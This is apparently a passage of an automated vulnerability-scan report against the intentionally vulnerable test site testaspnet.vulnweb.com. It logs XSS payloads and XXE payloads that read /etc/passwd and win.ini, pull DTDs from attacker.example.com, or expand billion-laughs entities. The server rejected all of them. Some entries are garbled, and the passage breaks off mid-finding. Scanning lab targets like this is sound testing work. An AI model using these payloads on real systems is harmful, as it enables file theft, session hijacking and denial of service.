Finding 29: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3Cinput+onfocus%3Dalert%28%27XSS%27%29+autofocus%3E&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `<input onfocus=alert('XSS') autofocus>`

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<input onfocus=alert...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:`

Finding 30: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3Cdetails+open+ontoggle%3Dalert%28%27XSS%27%29%3E&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 500

Response Time: 0.266 seconds

Injected Payload: `<details open ontoggle=alert('XSS')>`

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<details open ontogg...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:`

Finding 31: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Cscript%3Ealert%28%27XSS+in+NewsAd%27%29%3C%2Fscript%3E>

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `<script>alert('XSS in NewsAd')</script>`

Evidence: `<html> <head> <title>A potentially dangerous
Request.QueryString value was detected from the client
(NewsAd="<script>alert('XSS i...").</title> <style> body
{font-family:"Verdana";font-weight:normal;font-size:
.7em;color:black;} p {font-family:"Verdana";font-weight:no
rmal;color:black;margin-top: -5px} b
{font-family:"Verdana";fo`

Finding 32: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Cimg+src%3Dx+onerror%3Dalert%28%27XSS+in+NewsAd%27%29%3E>

Method: GET

Status Code: 500

Response Time: 0.265 seconds

Injected Payload: `<img src=x onerror=alert('XSS in NewsAd')>`

Evidence: `<html> <head> <title>A potentially dangerous
Request.QueryString value was detected from the client
(NewsAd="<img src=x onerror=a...").</title> <style> body
{font-family:"Verdana";font-weight:normal;font-size:
.7em;color:black;} p {font-family:"Verdana";font-weight:no
rmal;color:black;margin-top: -5px} b
{font-family:"Verdana";font-`

Finding 33: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Csvg+onload%3Dalert%28%27XSS+in+NewsAd%27%29%3E
Method:	GET
Status Code:	500
Response Time:	0.25 seconds
Injected Payload:	<svg onload=alert('XSS in NewsAd')>
Evidence:	<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<svg onload=alert('X...').</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-

Finding 34: Info Disclosure in parameter 'NewsAd'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Cbody+onload%3Dalert%28%27XSS+in+NewsAd%27%29%3E
Method:	GET
Status Code:	500
Response Time:	0.297 seconds
Injected Payload:	<body onload=alert('XSS in NewsAd')>
Evidence:	<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<body onload=alert('...').</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-

Finding 35: Info Disclosure in parameter 'NewsAd'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Ciframe+src%3D%27javascript%3Aalert%28%22XSS+in+NewsAd%22%29%27%3E
Method:	GET
Status Code:	500
Response Time:	0.312 seconds
Injected Payload:	<code><iframe src='javascript:alert("XSS in NewsAd")'></code>
Evidence:	<pre><html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<iframe src='javascr...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:no rmal;color:black;margin-top: -5px} b {font-family:"Verdana";font-</pre>

Finding 36: Info Disclosure in parameter 'NewsAd'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Ca+href%3D%27javascript%3Aalert%28%22XSS+in+NewsAd%22%29%27%3EClick+me%3C%2Fa%3E
Method:	GET
Status Code:	500
Response Time:	0.297 seconds
Injected Payload:	<code>Click me</code>

Evidence: <html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<a href='javascript:...'").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-

Finding 37: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Cscr%3Cscript%3Eipt%3Ealert%28%27XSS+in+NewsAd%27%29%3C%2Fscr%3Cscript%3Eipt%3E>

Method: GET

Status Code: 500

Response Time: 0.281 seconds

Injected Payload: <scr<script>ipt>alert('XSS in NewsAd')</scr<script>ipt>

Evidence: <html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<scr<script>ipt>aler...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verda

Finding 38: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Cimg+src%3Dx+onerror%3D%27%26%23x61%3Balert%28%27%29%27%3E>

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `<img src=x onerror='alert(1)'`

Evidence: `<html> <head> <title>A potentially dangerous
Request.QueryString value was detected from the client
(NewsAd="<img src=x onerror='...'").</title> <style> body
{font-family:"Verdana";font-weight:normal;font-size:
.7em;color:black;} p {font-family:"Verdana";font-weight:no
rmal;color:black;margin-top: -5px} b
{font-family:"Verdana";font-`

Finding 39: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `<?xml version="1.0"?><!DOCTYPE foo [<ENTITY xxe SYSTEM
"file:///etc/passwd">]><foo>&xxe;</foo>`

Evidence: `<html> <head> <title>A potentially dangerous
Request.QueryString value was detected from the client
(id="<?xml version="1.0"?...").</title> <style> body
{font-family:"Verdana";font-weight:normal;font-size:
.7em;color:black;} p {font-family:"Verdana";font-weight:no
rmal;color:black;margin-top: -5px} b
{font-family:"Verdana"`

Finding 40: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%3A%2Fwindows%2Fwin.ini%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&NewsAd;=ads%2Fdef.html

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>

Evidence: <html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana"

Finding 41: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22http%3A%2F%2Fattacker.example.com%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&NewsAd;=ads%2Fdef.html

Method: GET

Status Code: 500

Response Time: 0.266 seconds

Injected Payload: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.example.com">]><foo>&xxe;</foo>

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<?xml version="1.0"?...)</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana"`

Finding 42: Info Disclosure in parameter 'id'

Severity: **Low**

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

[illegible]

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">]><lolz>&lol2;</lolz>`

Evidence: <html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana"

Finding 43: Info Disclosure in parameter 'id'

Severity: **Low**

CVSS v3.1 Score: 5.3

CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+SYSTEM+%22http%3A%2F%2Fattacker.example.com%2Fevil.dtd%22%3E%3Cfoo%2F%3E&NewsAd;=ads%2Fdef.html
Method:	GET
Status Code:	500
Response Time:	0.266 seconds
Injected Payload:	<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.example.com/evil.dtd"><foo/>
Evidence:	<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana"

Finding 44: Info Disclosure in parameter 'id'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+%25+xxe+SYSTEM+%22http%3A%2F%2Fattacker.example.com%2Fevil.dtd%22%3E+%25xxe%3B%5D%3E%3Cfoo%2F%3E&NewsAd;=ads%2Fdef.html
Method:	GET
Status Code:	500
Response Time:	0.25 seconds
Injected Payload:	<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.example.com/evil.dtd"> %xxe;]><foo/>

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana"`

Finding 45: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 500

Response Time: 0.266 seconds

Injected Payload: `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>`

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana"`

Finding 46: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3C%3Fxml+version%3D%221.0%22+standalone%3D%22yes%22%3F%3E%3C%21DOCTYPE+svg+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Csvg%3E%26xxe%3B%3C%2Fsvg%3E&NewsAd;=ads%2Fdef.html
Method:	GET
Status Code:	500
Response Time:	0.281 seconds
Injected Payload:	<pre><?xml version="1.0" standalone="yes"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg></pre>
Evidence:	<pre><html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<?xml version="1.0" ...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:no rmal;color:black;margin-top: -5px} b {font-family:"Verdana"</pre>

Finding 47: Info Disclosure in parameter 'id'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3Cfoo+xmlns%3Axi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXInclude%22%3E%3Cxi%3Ainclude+parse%3D%22text%22+href%3D%22file%3A%2F%2F%2Fetc%2Fpasswd%22%2F%3E%3C%2Ffoo%3E&NewsAd;=ads%2Fdef.html
Method:	GET
Status Code:	500
Response Time:	0.25 seconds
Injected Payload:	<pre><foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo></pre>

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<foo xmlns:xi="http:...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font`

Finding 48: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%3C%21%5BCDATA%5B%26xxe%3B%5D%5D%3E%3C%2Ffoo%3E&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 500

Response Time: 0.266 seconds

Injected Payload: `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo><![CDATA[&xxe;]]></foo>`

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (id="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana"`

Finding 49: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
Method:	GET
Status Code:	500
Response Time:	0.328 seconds
Injected Payload:	<code><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo></code>
Evidence:	<pre><html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:no rmal;color:black;margin-top: -5px} b {font-family:"Verd</pre>

Finding 50: Info Disclosure in parameter 'NewsAd'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
Method:	GET
Status Code:	500
Response Time:	0.328 seconds
Injected Payload:	<code><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo></code>
Evidence:	<pre><html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:no rmal;color:black;margin-top: -5px} b {font-family:"Verd</pre>

Finding 51: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22http%3A%2F%2Fattacker.example.com%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E>

Method: GET

Status Code: 500

Response Time: 0.313 seconds

Injected Payload: `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.example.com">]><foo>&xxe;</foo>`

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verd`

Finding 52: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+SYSTEM+%22http%3A%2F%2Fattacker.example.com%2Fevil.dtd%22%3E%3Cfoo%2F%3E>

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.example.com/evil.dtd"><foo/>`

Evidence: <html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verd

Finding 53: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+lolz+%5B%3C%21ENTITY+lol+%22lol%22%3E%3C%21ENTITY+lol2+%22%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%22%3E%5D%3E%3C%2Flolz%3E

Method: GET

Status Code: 500

Response Time: 0.266 seconds

Injected Payload: <?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">]><lolz>&lol2;</lolz>

Evidence: <html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verd

Finding 54: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+%25+xxe+SYSTEM+%22http%3A%2F%2Fattacker.example.com%2Fevil.dtd%22%3E+%25xxe%3B%5D%3E%3Cfoo%2F%3E
Method:	GET
Status Code:	500
Response Time:	0.25 seconds
Injected Payload:	<pre><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.example.com/evil.dtd"> %xxe;]><foo/></pre>
Evidence:	<pre><html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:no rmal;color:black;margin-top: -5px} b {font-family:"Verd</pre>

Finding 55: Info Disclosure in parameter 'NewsAd'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
Method:	GET
Status Code:	500
Response Time:	0.25 seconds
Injected Payload:	<pre><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "p hp://filter/convert.base64-encode/resource=/etc/passwd">]> <foo>&xxe;</foo></pre>

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verd`

Finding 56: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22+standalone%3D%22yes%22%3F%3E%3C%21DOCTYPE+svg+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Csvg%3E%26xxe%3B%3C%2Fsvg%3E>

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `<?xml version="1.0" standalone="yes"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>`

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0" ...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verd`

Finding 57: Info Disclosure in parameter 'NewsAd'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3Cfoo+xmlns%3Axi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXInclude%22%3E%3Cxi%3Ainclude+parse%3D%22text%22+href%3D%22file%3A%2F%2F%2Fetc%2Fpasswd%22%2F%3E%3C%2Ffoo%3E
Method:	GET
Status Code:	500
Response Time:	0.25 seconds
Injected Payload:	<pre><foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo></pre>
Evidence:	<pre><html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<foo xmlns:xi="http:...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:no rmal;color:black;margin-top: -5px} b {font-family:"Verdana";</pre>

Finding 58: Info Disclosure in parameter 'NewsAd'

Severity:	Low
CVSS v3.1 Score:	5.3
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Target URL:	http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd;=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%3C%21%5BCDATA%5B%26xxe%3B%5D%5D%3E%3C%2Ffoo%3E
Method:	GET
Status Code:	500
Response Time:	0.281 seconds
Injected Payload:	<pre><?xml version="1.0"?><!DOCTYPE foo [<ENTITY xxe SYSTEM "file:///etc/passwd">]><foo><![CDATA[&xxe;]]></foo></pre>

Evidence: `<html> <head> <title>A potentially dangerous Request.QueryString value was detected from the client (NewsAd="<?xml version="1.0"?...").</title> <style> body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verd`

Finding 59: Info Disclosure in parameter 'id'

Severity: Low

CVSS v3.1 Score: 5.3

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Target URL: <http://testaspnet.vulnweb.com/ReadNews.aspx?id=data%3Atext%2Fhtml%2C%3Cscript%3Ealert%281%29%3C%2Fscript%3E&NewsAd;=ads%2Fdef.html>

Method: GET

Status Code: 500

Response Time: 0.25 seconds

Injected Payload: `data:text/html,<script>alert(1)</script>`

